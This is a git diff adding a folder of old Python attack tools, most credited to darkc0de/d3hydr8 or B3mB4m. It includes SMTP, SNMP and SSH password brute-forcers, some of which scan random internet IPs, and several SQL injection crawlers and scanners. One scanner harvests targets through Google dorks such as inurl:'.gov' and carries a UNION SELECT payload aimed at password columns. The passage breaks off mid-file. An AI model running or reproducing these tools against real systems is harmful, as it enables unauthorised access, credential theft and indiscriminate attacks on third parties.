+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0][:-1]
+		
+class Workhorse(threading.Thread):
+	
+	def run(self):
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",user[:-1],"Password:",value
+			smtp = smtplib.SMTP(ipaddr[0])
+			smtp.login(user[:-1], value)
+			print "\t\nLogin successful:",user, value
+			smtp.quit()
+			work.join()
+			sys.exit(2)
+		except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: 
+			#print "An error occurred:", msg
+			pass
+
+for x in range(int(sys.argv[1])):
+	print "Scanning:",x,"of",sys.argv[1]
+	ipaddr = scan()
+	if ipaddr != None:
+		print "\n\tAttempting BruteForce:",ipaddr[0],"\n"
+		try:	
+			helo = smtplib.SMTP(ipaddr[0])
+			print helo.helo(),"\n"
+			helo.quit()
+		except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):
+			print "Server doesn't support the Helo cmd\n"
+		for user in users:
+			for i in range(len(words)):
+				if i == 0: reloader()
+				work = Workhorse()
+				work.start()
+				time.sleep(2)
+
diff --git a/3rdparty/snmp_brute.py b/3rdparty/snmp_brute.py
new file mode 100644
index 0000000..dc73222
--- /dev/null
+++ b/3rdparty/snmp_brute.py
@@ -0,0 +1,142 @@
+#!usr/bin/python
+#Uses nmap to check if snmp port is open then uses snmpwalk to try and bruteforce
+#the community name.
+
+#Required: nmap and snmpwalk 
+
+#Changelog: added iprange, single scans and threading for random scans
+#Changelog: added the ability to add your own wordlist, it will add to 
+#the ones given and erase the duplicates
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import time, StringIO, commands, sys, re, threading, sets
+
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com snmpBruteForcer v1.2"
+	print "\t--------------------------------------------------\n"
+	
+def scan(option):
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+option+' -p 161 | grep open -B 3')[1]).read()
+	if re.search("command not found",nmap.lower()):
+		print "\n[-] nmap not installed!!!\n"
+		sys.exit(1)
+	else:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", nmap)
+		if ipaddr:    		
+			return ipaddr
+
+def brute(ip):
+	print "\n[+] Attempting BruteForce:",ip
+	try:
+		for n in names:
+			response = StringIO.StringIO(commands.getstatusoutput('snmpwalk '+ip+" "+n)[1]).readlines()
+			if re.search("command not found",response[0].lower()):
+				print "\n[-] snmpwalk not installed!!!\n"
+				sys.exit(1)
+			else:
+				if verbose ==1:
+					print "\t{- Trying:",n
+				if len(response) > 1:
+					print "\n\tSuccess:",ip,"Community Name:",n
+					print "\n\tTry: snmpwalk",ip,n,"\n"
+	except(), msg:
+		#print "Error:",msg
+		pass
+
+class Worker(threading.Thread):
+	def run(self):
+		ipaddr = scan("-iR 1")
+		if ipaddr != None:
+			for ip in ipaddr:
+				brute(ip)
+				
+if len(sys.argv) <= 2:
+	title()
+	print "Usage: ./snmp_random.py <option> \n"
+	print "Example: ./snmpbrute.py -iprange 192.168.1-100.1-255 -verbose\n"
+	print "[options]"
+	print "   -s/single <ip>: Bruteforce single ip"
+	print "   -i/-iprange <ip_range>: Scans ip range for snmp to brute force"
+	print "   -r/-random <how many to scan>: Will scan random ip's for snmp to brute force"
+	print "   -l/-list <wordlist file>: Add your own wordlist"
+	print "   -v/-verbose : Verbose Mode\n"
+	sys.exit(1)
+
+#Add more community names here.
+names = ["1234","2read","4changes","CISCO","IBM","OrigEquipMfr","SNMP","SUN","access","admin","agent","all","cisco"
+		,"community","default","enable","field","guest","hello","ibm","manager","mngt","monitor","netman","network"
+		,"none","openview","pass","password","passwd","private","proxy","public","read","read-only","read-write"
+		,"root","router","secret","security","snmp","snmpd","solaris","sun","switch","system","tech","test"
+		,"world","write"]
+		
+for arg in sys.argv[1:]:
+	if arg.lower() == "-s" or arg.lower() == "-single":
+		ipaddr = sys.argv[int(sys.argv[1:].index(arg))+2]
+		mode = "Single IP"
+	if arg.lower() == "-i" or arg.lower() == "-iprange":
+		iprange = sys.argv[int(sys.argv[1:].index(arg))+2]
+		mode = "Ip-Range"
+	if arg.lower() == "-r" or arg.lower() == "-random":
+		total = sys.argv[int(sys.argv[1:].index(arg))+2]
+		mode = "Random"
+	if arg.lower() == "-l" or arg.lower() == "-list":
+		wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+title()	
+try:
+	print "[+] Wordlist:",wordlist,"loading"
+  	words = open(wordlist, "r").readlines()
+	print "[+] Loaded:",len(words),"names"
+	names = list(sets.Set(words+names))
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+except(NameError):
+	pass
+	
+print "[+] Mode:",mode
+if mode == "Random":
+	if total.isdigit() == False:
+		print "\n[!] How many ips to scan: must be a number\n"
+		sys.exit(1)
+	else:
+		print "[+] Total:",total
+if mode == "Ip-Range":
+	print "[+] Range:",iprange
+try:
+	if verbose ==1:
+		print "[+] Verbose Mode On"
+except(NameError):
+	verbose = 0
+	print "[-] Verbose Mode Off"
+print "[+] Names Loaded:",len(names)
+print "[+] Started:",timer(),"\n"
+
+if mode == "Random":
+	for i in range(int(total)):
+		print "[+] Scanning:",i+1,"of",total
+		work = Worker()
+		work.start()
+		time.sleep(1)
+if mode == "Single IP":
+	brute(ipaddr)
+if mode == "Ip-Range":
+	print "[+] Scanning:",iprange
+	ips = scan(iprange)
+	if ips != None:
+		print "[+] Found:",len(ips)
+		for ip in ips:
+			brute(ip)
+	else:
+		print "\n[!] No SNMP Open"
+	
+print "\n[-] Done -",timer(),"\n"
+
diff --git a/3rdparty/sqlb3m.py b/3rdparty/sqlb3m.py
new file mode 100644
index 0000000..090f4ff
--- /dev/null
+++ b/3rdparty/sqlb3m.py
@@ -0,0 +1,196 @@
+#!/usr/bin/python
+#-*- coding: cp1254 -*-
+
+import re, urllib,urllib2, time, httplib, socket, sys, md5, locale
+from urllib2 import Request, urlopen, URLError, HTTPError
+from socket import *
+import threading
+from bs4 import BeautifulSoup
+import urlparse
+import mechanize
+import webbrowser
+import os
+
+
+
+print """
+
+SQLCrawler Final Version [o.o[
+SQL Never DIE ! <3 & B3mB4m
+
+
+& b3mb4m@gmail.com
+
+
+"""
+
+
+
+hedef = raw_input("Target : ")
+
+
+url = hedef
+tarayici = mechanize.Browser()
+urls = [url]
+gez = [url]
+
+while len(urls)>0:
+    try:
+        tarayici.open(urls[0])
+        urls.pop(0)
+        for link in tarayici.links():
+            yeniurl =  urlparse.urljoin(link.base_url,link.url)
+            if yeniurl not in gez and url in yeniurl:
+                gez.append(yeniurl)
+                urls.append(yeniurl)
+                #print yeniurl
+                
+                if "id=" in yeniurl:
+                    yeniurl = yeniurl+"'"
+                    #print yeniurl
+                    
+                    try:
+                       req  = urllib2.Request(yeniurl)
+                       fd   = urllib2.urlopen(req)
+                       data = fd.read()
+                       if "Query failed" in data:
+                           print "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               urls=0
+                               sys.exit()
+                           else:
+                               continue
+                       elif "supplied argument is not a valid MySQL result resource in" in data:
+                           print  "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               urls=0
+                               sys.exit()
+                           else:
+                               continue
+                       elif "You have an error in your SQL syntax" in data:
+                           print "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               urls=0
+                               sys.exit()
+                           else:
+                               continue   
+                       elif "ORDER BY" in data:
+                           print "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               urls=0
+                               sys.exit()
+                           else:
+                               continue
+                       elif "mysql_num_rows()" in data:
+                           print "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               urls=0
+                               sys.exit()
+                           else:
+                               continue   
+                       elif "SQL query failed" in data:
+                           print "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               urls=0
+                               sys.exit()
+                           else:
+                               continue   
+                       elif "Microsoft JET Database Engine error '80040e14'" in data:
+                           print "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               urls=0
+                               sys.exit()
+                           else:
+                               continue   
+                       elif "Microsoft OLE DB Provider for Oracle" in data:
+                           print "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               urls=0
+                               sys.exit()
+                           else:
+                               continue   
+                       elif "Error:unknown" in data:
+                           print "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               urls=0
+                               sys.exit()
+                           else:
+                               continue   
+                       elif "Fatal error" in data:
+                           print "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               urls=0
+                               sys.exit()
+                           else:
+                               continue   
+                       elif "mysql_fetch" in data:
+                           print "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               urls=0
+                               sys.exit()
+                           else:
+                               continue   
+                       elif "Syntax error" in data:
+                           print "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               urls=0
+                               sys.exit()
+                           else:
+                               continue   
+                       elif "error in your SQL syntax" in data:
+                           print "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               urls=0
+                               sys.exit()
+                           else:
+                               continue   
+                           
+                    except urllib2.HTTPError:
+                        pass
+                    except ValueError:
+                        pass
+                    except URLError, e:
+                        pass
+                    except IndexError:
+                        pass
+                    
+                        
+                else:
+                   pass
+                 
+    #except:                        #Sql ile ilgili son scriptittir.
+     #  pass                   
+    except TypeError:               #Selametle kal�n
+        pass                        #B3mB4m :)
+        #urls.pop(0)                    
+
+    
+        
+
+print "Finish.."
diff --git a/3rdparty/sqlincra.py b/3rdparty/sqlincra.py
new file mode 100644
index 0000000..d20c9dd
--- /dev/null
+++ b/3rdparty/sqlincra.py
@@ -0,0 +1,50 @@
+#!usr/bin/python
+#This is a little tool for SQL injection incrementing
+
+#http://darkcode.ath.cx
+#d3hydr8[at]gmail[dot]com
+
+import sys, re, urllib2, socket
+
+print "\n\t   d3hydr8[at]gmail[dot]com SqlIncra v1.0"
+print "\t--------------------------------------------"
+
+if len(sys.argv) != 5:
+	print "\nUsage: ./sqlincra.py <up to incra.> <trailing sql> <how many> <file to save>"
+	print "Ex: ./sqlincra.py www.test.com/list.php?pagenum=0&catid=-1%20union%20select%20 %20from%20admin/* 5 <sqlfile.txt>\n"
+	sys.exit(1)
+
+sqls = []
+socket.setdefaulttimeout(10)
+
+print "[+] Front:",sys.argv[1]
+print "[+] Back:",sys.argv[2]
+print "[+] Incraments:",sys.argv[3]
+print "[+] Saving File:",sys.argv[4]
+s = ""
+print "[+] Adding Incraments..."
+for x in xrange(int(sys.argv[3])):
+	 s = s+str(x+1)+","
+	 sqls.append(sys.argv[1]+s[:-1]+sys.argv[2])
+print "\n[+] SQL's Loaded:",len(sqls)
+print "[+] Testing SQL's..."
+sql_file = open(sys.argv[4], "a")
+for sql in sqls:
+	print "\n[-] Testing:",sql
+	if sql[:7] != "http://":
+		sql = "http://"+sql
+	try:
+		source = urllib2.urlopen(sql, "80").read()
+		if re.search("Warning:", source) != None:
+			print "[!] Possible SQL:",sql
+			sql_file.writelines(sql+"\n")
+		else:
+			start = source.find("Warning")
+			print "[-] Message:",source[start:start+31].replace("</b>","",1)
+	except(urllib2.URLError, socket.timeout, socket.gaierror, socket.error):
+		pass
+	except(KeyboardInterrupt):
+		pass
+sql_file.close()
+print "\n[-] Done\n"
+ 	
diff --git a/3rdparty/sqlinjectionstart.py b/3rdparty/sqlinjectionstart.py
new file mode 100644
index 0000000..870acbf
--- /dev/null
+++ b/3rdparty/sqlinjectionstart.py
@@ -0,0 +1,205 @@
+#!/usr/bin/python
+import re, urllib,urllib2, time, httplib, socket, sys, md5, locale
+from urllib2 import Request, urlopen, URLError, HTTPError
+from socket import *
+import threading
+from bs4 import BeautifulSoup
+import urlparse
+import mechanize
+import webbrowser
+import os
+
+
+
+print """
+
+YOU WANT MAKE SQL �NJECT�ON CRAWLER? !
+
+
+START HERE !
+
+
+JUST TRY �T !
+
+-B3mB4m 
+
+"""
+
+
+
+hedef = raw_input("Target : ")
+
+
+url = hedef
+tarayici = mechanize.Browser()
+urls = [url]
+gez = [url]
+
+while len(urls)>0:
+    try:
+        tarayici.open(urls[0])
+        urls.pop(0)
+        for link in tarayici.links():
+            yeniurl =  urlparse.urljoin(link.base_url,link.url)
+            if yeniurl not in gez and url in yeniurl:
+                gez.append(yeniurl)
+                urls.append(yeniurl)
+                #print yeniurl
+                
+                if "id=" in yeniurl:
+                    yeniurl = yeniurl+"'"
+                    print yeniurl
+                    """
+                    try:
+                       req  = urllib2.Request(yeniurl)
+                       fd   = urllib2.urlopen(req)
+                       data = fd.read()
+                       if "Query failed" in data:
+                           print "-->  "+yeniurl
+                           
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               raise SystemExit
+                           else:
+                               continue
+                              
+                       elif "supplied argument is not a valid MySQL result resource in" in data:
+                           print  "-->  "+yeniurl
+                           
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               raise SystemExit
+                           else:
+                               continue
+                               
+                       elif "You have an error in your SQL syntax" in data:
+                           print "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               raise SystemExit
+                           else:
+                               continue
+                              
+                       elif "ORDER BY" in data:
+                           print "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               raise SystemExit
+                           else:
+                               continue
+                              
+                       elif "mysql_num_rows()" in data:
+                           print "-->  "+yeniurl
+                           
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               raise SystemExit
+                           else:
+                               continue
+                              
+                       elif "SQL query failed" in data:
+                           print "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               raise SystemExit
+                           else:
+                               continue
+                              
+                       elif "Microsoft JET Database Engine error '80040e14'" in data:
+                           print "-->  "+yeniurl
+                          
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               raise SystemExit
+                           else:
+                               continue
+                               
+                       elif "Microsoft OLE DB Provider for Oracle" in data:
+                           print "-->  "+yeniurl
+                           
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               raise SystemExit
+                           else:
+                               continue
+                               
+                       elif "Error:unknown" in data:
+                           print "-->  "+yeniurl
+                           
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               raise SystemExit
+                           else:
+                               continue
+                               
+                       elif "Fatal error" in data:
+                           print "-->  "+yeniurl
+                           
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               raise SystemExit
+                           else:
+                               continue
+                               
+                       elif "mysql_fetch" in data:
+                           print "-->  "+yeniurl
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               raise SystemExit
+                           else:
+                               continue   
+                       elif "Syntax error" in data:
+                           print "-->  "+yeniurl
+                           
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               raise SystemExit
+                           else:
+                               continue
+                               
+                       elif "error in your SQL syntax" in data:
+                           print "-->  "+yeniurl
+                           
+                           ask = raw_input("You want open link ? y/n ")
+                           if ask == "y":
+                               webbrowser.open_new_tab(yeniurl)
+                               raise SystemExit
+                           else:
+                               continue
+                               
+                           
+                    except urllib2.HTTPError:
+                        pass
+                    except ValueError:
+                        pass
+                    except URLError, e:
+                        pass
+                    except IndexError:
+                        pass
+                        """
+                else:
+                   pass
+                 
+    except:
+        pass
+        #urls.pop(0)
+
+    
+        
+
+print "Finish.."
diff --git a/3rdparty/sqlresp.py b/3rdparty/sqlresp.py
new file mode 100644
index 0000000..d6c0b2b
--- /dev/null
+++ b/3rdparty/sqlresp.py
@@ -0,0 +1,47 @@
+#!/usr/bin/python 
+#Gets http response from a list of sql injections. 
+ 
+#http://www.darkc0de.com 
+#d3hydr8[at]gmail[dot]com 
+ 
+import sys, httplib 
+ 
+def main(host, path): 
+	try: 
+		conn = httplib.HTTPConnection(host)
+		conn.request("GET", path) 
+		r1 = conn.getresponse()
+		print "[+]",host+path,":",r1.status, r1.reason
+	except: 
+		print "[-] Error Occurred" 
+		pass 
+ 
+if len(sys.argv) != 3: 
+	print "\nUsage: ./sqlresp.py <site> <list of injections>" 
+	print "Example: ./sqlresp.py www.site.com/buy.php?id= injections.txt\n"
+	sys.exit(1) 
+ 
+print "\n   d3hydr8[at]gmail[dot]com sqlResp v1.0" 
+print "----------------------------------------------" 
+
+try:
+  	injects = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your injections path\n"
+  	sys.exit(1)
+
+host = sys.argv[1].strip("http://")
+if host[-1:] != "=":
+	print "\n[-] No '=' on the end of address"
+	print "[+] adding '='"
+	host = host+"="
+print "\n[+] Site:",host
+print "[+] Injections Loaded:",len(injects),"\n\n"
+ 
+for inj in injects:
+	try:
+		main(host.split("/",1)[0], host.split("/",1)[1]+inj.strip("\n"))
+	except(IndexError):
+		print "[-] Invalid Address\n"
+		sys.exit(1)
+print "\n[+] Done\n"
\ No newline at end of file
diff --git a/3rdparty/sqlscan.py b/3rdparty/sqlscan.py
new file mode 100644
index 0000000..4382398
--- /dev/null
+++ b/3rdparty/sqlscan.py
@@ -0,0 +1,156 @@
+#!/usr/bin/python
+#SQL Scanner that will collect hosts using a google query. Will add the
+#injection code to each host and search for md5 in the source.
+
+#http://darkcode.ath.cx
+#d3hydr8[at]gmail[dot]com
+
+import sys, urllib2, re, sets, time, socket, httplib
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com SQL Scanner v1.0"
+	print "\t-----------------------------------------------"
+	
+def usage():
+	title()
+	print "\n  Usage: python SQLscan.py <options>\n"
+	print "\n  Example: python SQLscan.py -g inurl:'.gov' 200 -s '/index.php?offset=-1/**/UNION/**/SELECT/**/1,2,concat(password)/**/FROM/**/TABLE/*' -write sql_found.txt -v\n"
+	print "\t[options]"
+	print "\t   -g/-google <query> <num of hosts> : Searches google for hosts"
+	print "\t   -s/-sql <file+injection code> : Vuln. file plux sql injection"	
+	print "\t   -w/-write <file> : Writes potential SQL found to file"
+	print "\t   -v/-verbose : Verbose Mode\n"
+
+def StripTags(text):
+     finished = 0
+     while not finished:
+         finished = 1
+         start = text.find("<")
+         if start >= 0:
+             stop = text[start:].find(">")
+             if stop >= 0:
+                 text = text[:start] + text[start+stop+1:]
+                 finished = 0
+     return text
+	
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def geturls(query):
+	
+	counter =  10
+	urls = []
+	while counter < int(num):
+		url = 'http://www.google.com/search?hl=en&q='+query+'&hl=en&lr=&start='+repr(counter)+'&sa=N'
+		opener = urllib2.build_opener(url)
+		opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
+		data = opener.open(url).read()
+		hosts = re.findall(('\w+\.[\w\.\-/]*\.\w+'),StripTags(data))
+		#Lets add sites found to a list if not already or a google site.
+		#We don't want to upset the people that got our list for us.
+		for x in hosts:
+			if x.find('www') != -1:
+				x = x[x.find('www'):]
+			if x not in urls and re.search("google", x) == None:
+				urls.append(x)
+		counter += 10
+	return urls
+			
+def tester(victim):
+	
+	if victim[:7] != "http://":
+		victim = "http://"+victim.rsplit("/",1)[0]+sql
+	if verbose ==1:
+		print "Testing:",victim
+	try:
+		source = urllib2.urlopen(victim.rsplit("/",1)[0]+sql, "80").read()
+		md5s = re.findall("[a-f0-9]"*32,source)
+		if len(md5s) >= 1:
+			md5s = list(sets.Set(md5s))
+			print "\n[!] MD5 Found:",''.join([str(i) for i in victim.split("/",3)[:3]])[5:]
+			for md5 in md5s:
+				print "\t[",md5,"]\n"
+			found_sql.append(victim)
+	except(socket.timeout, socket.gaierror, socket.error, IOError, ValueError, httplib.BadStatusLine):
+		pass
+	except(KeyboardInterrupt):
+		print "\n[-] Cancelled -",timer(),"\n"
+		sys.exit(1)
+	except():
+		pass
+	
+if len(sys.argv) < 6:
+	usage()
+	sys.exit(1)
+ 
+for arg in sys.argv[1:]:
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+	if arg.lower() == "-w" or arg.lower() == "-write":
+		txt = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-s" or arg.lower() == "-sql":
+		sql = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-g" or arg.lower() == "-google":
+		query = sys.argv[int(sys.argv[1:].index(arg))+2]
+		num = sys.argv[int(sys.argv[1:].index(arg))+3]
+title()
+socket.setdefaulttimeout(10)
+found_sql = []
+count = 0
+print "\n[+] SQL_scan Loaded"
+try:
+	if verbose ==1:
+		print "[+] Verbose Mode On"
+except(NameError):
+	verbose = 0
+	print "[-] Verbose Mode Off"
+if sql[:1] != "/":
+	sql = "/"+sql
+print "[+] SQL:",sql
+try:
+	if txt:
+		print "[+] File:",txt
+except(NameError):
+	txt = None
+	pass
+try:
+	if num.isdigit() == False:
+		print "\n[-] Argument [",num,"] must be a number.\n"
+		sys.exit(1)
+	else:
+		if int(num) <= 10:
+			print "\n[-] Argument [",num,"] must be greater than 10.\n"
+			sys.exit(1)
+except(IndexError):
+	print "\n[-] Need number of hosts to collect.\n"
+	sys.exit(1)
+query = re.sub("\s","+",query)
+print "[+] Query:",query
+print "[+] Number:",num
+print "[+] Querying Google..."
+urls = geturls(query)
+print "[+] Collected:",len(urls),"hosts"
+print "[+] Started:",timer()
+print "[+] Scanning hosts..."
+print "\n[-] Cancel: Press Ctrl-C"
+for url in urls:
+	tester(url)
+time.sleep(3)
+print "-"*65
+print "\n\n[+] Potential SQL found:",len(found_sql),"\n"
+time.sleep(3)
+if txt != None and len(found_sql) >=1:
+	sql_file = open(txt, "a")
+	sql_file.writelines("\n\td3hydr8[at]gmail[dot]com SQL Scanner v1.0\n")
+	sql_file.writelines("\t------------------------------------------\n\n")
+	print "[+] Writing Data:",txt
+else:
+	print "[-] No data written to disk"
+for k in found_sql:
+	count+=1
+	if txt != None:
+		sql_file.writelines("["+str(count)+"] "+k+"\n")
+		print "\n["+str(count)+"]",k
+print "\n[-] Done -",timer(),"\n"
+
diff --git a/3rdparty/sqltest.py b/3rdparty/sqltest.py
new file mode 100644
index 0000000..6513719
--- /dev/null
+++ b/3rdparty/sqltest.py
@@ -0,0 +1,91 @@
+#!/usr/bin/python
+#SQLtest takes a list of sites and searches for links
+#containing a "=". If an equal sign is found it adds 
+#the SQL payload (-1, 999999) and checks source for Warning:
+
+from sgmllib import SGMLParser
+import sys, urllib, re, urllib2, sets
+
+class URLLister(SGMLParser):
+	def reset(self):
+		SGMLParser.reset(self)
+		self.urls = []
+
+	def start_a(self, attrs):
+		href = [v for k, v in attrs if k=='href']
+		if href:
+			self.urls.extend(href)
+ 
+def test(host): 
+	source = urllib2.urlopen(host+sys.argv[2]).read() 
+	if re.search("Warning", source) != None: 
+		print "\n\t[!] SQL:",host+sys.argv[2]
+	if re.search("mysql_fetch_array()", source) != None:
+		print "\t[!] Found: mysql_fetch_array() error\n"
+	if re.search("You have an error in your SQL syntax", source) != None:
+		print "\t[!] Found: sql syntax error\n"
+		
+		
+print "\n\t   d3hydr8[at]gmail[dot]com SQLtest v1.2"
+print "\t--------------------------------------------\n"
+			
+if len(sys.argv) != 3:
+	print "Usage : ./sqltest.py <list of sites> <payload (-1, 999999)>"
+	print "Eg: ./sqltest.py sites.txt \"-1\"\n"
+	sys.exit(1)
+	
+try:
+	sites = open(sys.argv[1], "r").readlines()
+except(IOError): 
+  	print "Error: Check your site list path\n"
+  	sys.exit(1)
+	
+print "[+] Loaded:",len(sites),"sites"
+print "[+] Payload:",sys.argv[2]
+
+for site in sites:
+	site = site.replace("\n","")
+	if site.find("http://") != -1:
+		site = site.replace("http://","")
+		site = "http://"+site.rsplit("/",1)[0]
+	if site.find("https://") != -1:
+		site = site.replace("https://","")
+		site = "https://"+site.rsplit("/",1)[0]
+	print "\n[+] Collecting:",site
+	try:
+		usock = urllib.urlopen(site)
+		parser = URLLister()
+		parser.feed(usock.read())
+		parser.close()
+		usock.close()
+		if len(parser.urls) >=1:
+			urls2 = []
+			for url in parser.urls: 
+				if url.find("://") == -1:
+					if url[0] == "/":
+						url = site+url
+					else:
+						url = site+"/"+url
+				if url.count("=") >= 2:
+					for x in xrange(url.count("=")):
+						urls2.append(url.rsplit("=",x+1)[0]+"=")
+				if url.find("=") != -1:
+					if url[0] == "/":
+						urls2.append(site+url.split("=",1)[0]+"=")
+					else:
+						urls2.append(url.split("=",1)[0]+"=")
+			urls2 = list(sets.Set(urls2))
+			print "[+] Links Found:",len(urls2),"\n"
+		else:
+			urls2 = []
+			print "[-] Error Connecting"
+		for url in urls2:
+			print "[+] Testing:",url+sys.argv[2]
+			try:
+				test(url)
+			except:
+				pass
+	except:
+		pass
+
+print "\n[-] Done\n"
diff --git a/3rdparty/sshbrute.py b/3rdparty/sshbrute.py
new file mode 100644
index 0000000..1bae96f
--- /dev/null
+++ b/3rdparty/sshbrute.py
@@ -0,0 +1,58 @@
+#!/usr/bin/python
+#SSH BruteForcer
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, time
+try:
+	import pexpect, pxssh
+except(ImportError):
+	print "\nYou need the pexpect module."
+	print "http://www.noah.org/wiki/Pexpect\n"
+	sys.exit(1)
+
+def brute(word):
+	print "Trying:",word
+     	try:
+        	s = pxssh.pxssh()
+        	s.login (ip, user, word, login_timeout=10)
+        	s.sendline (command)
+        	s.prompt()
+        	print "\n",s.before
+        	s.logout()
+		print "\t[!] Login Success:",user, word,"\n"
+		sys.exit(1)
+   	except Exception, e:
+        	#print "[-] Failed"
+		pass
+	except KeyboardInterrupt:
+		print "\n[-] Quit\n"
+		sys.exit(1)
+
+print "\n\t   d3hydr8:darkc0de.com sshBrute v1.0"
+print "\t----------------------------------------"
+	
+if len(sys.argv) != 4:
+	print "\nUsage : ./sshbrute.py <server> <user> <wordlist>"
+	print "Eg: ./sshbrute.py 198.162.1.1 root words.txt\n"
+	sys.exit(1)
+
+ip = sys.argv[1]
+user = sys.argv[2]
+command = 'uname -a'
+
+try:
+	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "\n[-] Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n[+] Loaded:",len(words),"words"
+print "[+] Server:",ip
+print "[+] User:",user
+print "[+] BruteForcing...\n"
+for word in words:
+	#Change this time if needed
+	time.sleep(0.5)
+	brute(word.replace("\n",""))
diff --git a/3rdparty/sshbrute_fork.py b/3rdparty/sshbrute_fork.py
new file mode 100644
index 0000000..9978d98
--- /dev/null
+++ b/3rdparty/sshbrute_fork.py
@@ -0,0 +1,84 @@
+#!/usr/bin/python
+#SSH BruteForcer using fork to 
+#split the processes and the wordlist
+#for faster results.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, time, random, os
+try:
+	import pexpect, pxssh
+except(ImportError):
+	print "\nYou need the pexpect module."
+	print "http://www.noah.org/wiki/Pexpect\n"
+	sys.exit(1)
+
+def brute(word):
+	print "Trying:",word
+     	try:
+        	s = pxssh.pxssh()
+        	s.login (ip, user, word, login_timeout=10)
+        	s.sendline (command)
+        	s.prompt()
+        	print "\n",s.before
+        	s.logout()
+		print "\t[!] Login Success:",user, word,"\n"
+		sys.exit(1)
+   	except Exception, e:
+        	#print "[-] Failed"
+		pass
+	except KeyboardInterrupt:
+		print "\n[-] Quit\n"
+		sys.exit(1)
+	
+def getword():
+	print len(words)
+	word = random.choice(words)
+	words.remove(word)
+	print len(words)
+	return word
+
+print "\n\t   d3hydr8:darkc0de.com sshBrute v1.1"
+print "\t----------------------------------------"
+	
+if len(sys.argv) != 4:
+	print "\nUsage : ./sshbrute.py <server> <user> <wordlist>"
+	print "Eg: ./sshbrute.py 198.162.1.1 root words.txt\n"
+	sys.exit(1)
+
+ip = sys.argv[1]
+user = sys.argv[2]
+command = 'uname -a'
+
+try:
+	wordlist = open(sys.argv[3], "r").readlines()
+	words1 = wordlist[:len(wordlist) / 2]
+	words2 = wordlist[len(wordlist) / 2:]
+except(IOError): 
